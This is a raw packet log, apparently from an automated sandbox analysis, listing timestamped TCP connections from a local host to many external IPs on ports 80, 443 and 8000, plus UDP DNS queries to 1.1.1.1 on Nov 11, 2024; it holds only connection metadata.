                                                                                                                                                                                                          Nov 11, 2024 18:14:55.096858978 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.096924067 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.097619057 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.097630978 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.097641945 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.097654104 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.097666979 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.097666979 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.097681999 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.097723961 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.098301888 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.098345995 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.098354101 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.098381042 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.098397970 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.098398924 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.098411083 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.098417997 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.098439932 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.098450899 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.099179983 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.099191904 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.099204063 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.099215984 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.099221945 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.099235058 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.099266052 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.177606106 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.177623987 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.177635908 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.177658081 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.177685022 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.486042976 CET6457280192.168.2.691.195.240.19
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.486157894 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.486264944 CET6456080192.168.2.6162.255.119.102
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.486268044 CET6456780192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.486267090 CET6456680192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.486413956 CET6456380192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.488394976 CET6456180192.168.2.65.79.71.205
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.488590002 CET6457580192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.491565943 CET806457291.195.240.19192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.493103027 CET8064571199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.493159056 CET8064560162.255.119.102192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.493223906 CET8064567199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.493240118 CET8064566154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.493262053 CET6457280192.168.2.691.195.240.19
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.493263960 CET6457180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.493263960 CET6456080192.168.2.6162.255.119.102
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.493326902 CET8064563208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.493350983 CET6456680192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.493354082 CET6456780192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.495505095 CET6456380192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.514688969 CET6457680192.168.2.65.79.71.205
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.519630909 CET80645765.79.71.205192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.519795895 CET6457680192.168.2.65.79.71.205
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.542689085 CET6457680192.168.2.65.79.71.205
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.547859907 CET80645765.79.71.205192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.550792933 CET6457680192.168.2.65.79.71.205
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.782761097 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.814805984 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.822644949 CET6457780192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.827636003 CET806457713.248.169.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.827755928 CET6457780192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.827982903 CET6457780192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.832745075 CET806457713.248.169.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.840818882 CET6457880192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.845825911 CET8064578188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.845983982 CET6457880192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.863230944 CET6457880192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.868225098 CET8064578188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.892273903 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.098804951 CET6329880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.131119967 CET6457980192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.136169910 CET80645793.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.136334896 CET6457980192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.233278036 CET6457980192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.238270044 CET80645793.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.260653019 CET806457713.248.169.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.260759115 CET6457780192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.261042118 CET6458080192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.265937090 CET806458018.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.266916037 CET6458080192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.279036045 CET6458080192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.284116030 CET806458018.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.399111032 CET6458180192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.404134989 CET8064581103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.404314995 CET6458180192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.404441118 CET6458180192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.409300089 CET8064581103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.564445019 CET80645793.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.565021038 CET6457980192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.566035032 CET6457980192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.571240902 CET80645793.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.571294069 CET6457980192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.696957111 CET806458018.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.697014093 CET6458080192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.698810101 CET6458080192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.704184055 CET806458018.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.704199076 CET806458018.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.725749969 CET8064578188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.725807905 CET6457880192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.726519108 CET8064578188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.726581097 CET6457880192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.726629972 CET8064578188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.726669073 CET6457880192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.741336107 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.741374969 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.741434097 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.742096901 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.742109060 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.915081024 CET806458018.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.915199995 CET6458080192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.180039883 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.180111885 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.185329914 CET8064581103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.185431004 CET6458180192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.207465887 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.207492113 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.207838058 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.207930088 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.208794117 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.213167906 CET645838000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.218060970 CET800064583106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.218130112 CET645838000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.218662977 CET645838000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.223506927 CET800064583106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.251327038 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.010551929 CET800064583106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.010691881 CET645838000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.012299061 CET6458480192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.012310028 CET6458180192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.017198086 CET8064584103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.017502069 CET8064581103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.017591953 CET6458480192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.017738104 CET6458180192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.018311977 CET6458480192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.023523092 CET8064584103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:03.583857059 CET8064584103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:03.584877968 CET8064584103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:03.585248947 CET6458480192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:03.585977077 CET8064584103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:03.588949919 CET6458480192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331542015 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331598043 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331610918 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331625938 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331638098 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331641912 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331677914 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331688881 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331717968 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331731081 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331737041 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331753969 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331765890 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331779003 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331783056 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331803083 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331815958 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331828117 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331832886 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331856012 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.331881046 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.390717983 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.390780926 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.390815020 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.390873909 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.390885115 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.390912056 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.390949965 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.390990973 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.391020060 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.391057014 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.391064882 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.391110897 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.391163111 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.391875982 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.391941071 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.391947985 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.391954899 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.391994953 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.392035961 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.392040968 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.392127037 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.392695904 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.392756939 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.392765999 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.392772913 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.392853022 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.392859936 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.392931938 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.393508911 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.393557072 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.393579960 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.393589973 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.393665075 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.471966028 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.472021103 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.472110033 CET44364582188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.472124100 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:04.472260952 CET64582443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:15:09.389249086 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:15:09.423600912 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:15:09.503045082 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:15:09.704860926 CET6329880192.168.2.6199.59.243.227

                                                                                                                                                                                                          UDP Packets

                                                                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.481395960 CET5351253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.481751919 CET6142253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.482038021 CET6316253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.482369900 CET5149253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.482758045 CET6419753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.483153105 CET6098553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.488621950 CET6018553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.490200043 CET5033653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.491722107 CET5305653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.492011070 CET53631621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.493396044 CET6242853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.493460894 CET53514921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.494980097 CET5297753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.496607065 CET5130753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.497566938 CET53641971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.497773886 CET4915353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.499360085 CET6437653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.499924898 CET53503361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.500377893 CET5804053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.503657103 CET53609851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.505531073 CET53529771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.507329941 CET53491531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.507906914 CET53513071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.510741949 CET53580401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.512943029 CET53535121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.514404058 CET53614221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.520409107 CET53601851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.522640944 CET53530561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.529314041 CET5628053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.530391932 CET53643761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.531327963 CET4992253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.538754940 CET53562801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.541436911 CET53499221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.550781965 CET6552953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.551907063 CET6182953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.561302900 CET53618291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.581959963 CET6311853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.589627981 CET53631181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.597763062 CET5239153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.599937916 CET5806053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.600162029 CET6517053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.607372999 CET53523911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.629055023 CET5736353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.629107952 CET5100053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.631576061 CET53580601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.638607979 CET53510001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.660089970 CET5654753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.660089970 CET5881953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.690432072 CET53565471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.691600084 CET5470153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.691600084 CET6185853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.695362091 CET53588191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.701733112 CET53547011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.722234011 CET6091853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.722274065 CET4950853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.722973108 CET53618581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.731503963 CET53609181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.732952118 CET53495081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.753813028 CET6383153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.754457951 CET5077953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.765234947 CET53638311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.774240971 CET53655291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.785571098 CET5347853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.785746098 CET53507791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.785768032 CET6227553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.795208931 CET53622751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.801354885 CET53651701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.816495895 CET5853853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.816895008 CET6337253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.827748060 CET53633721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.844214916 CET53573631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.846661091 CET53585381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.847624063 CET5547253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.847690105 CET6197853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.877998114 CET53619781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.879206896 CET53554721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.881185055 CET5596253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.885456085 CET5724753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.899543047 CET53572471.1.1.1192.168.2.6
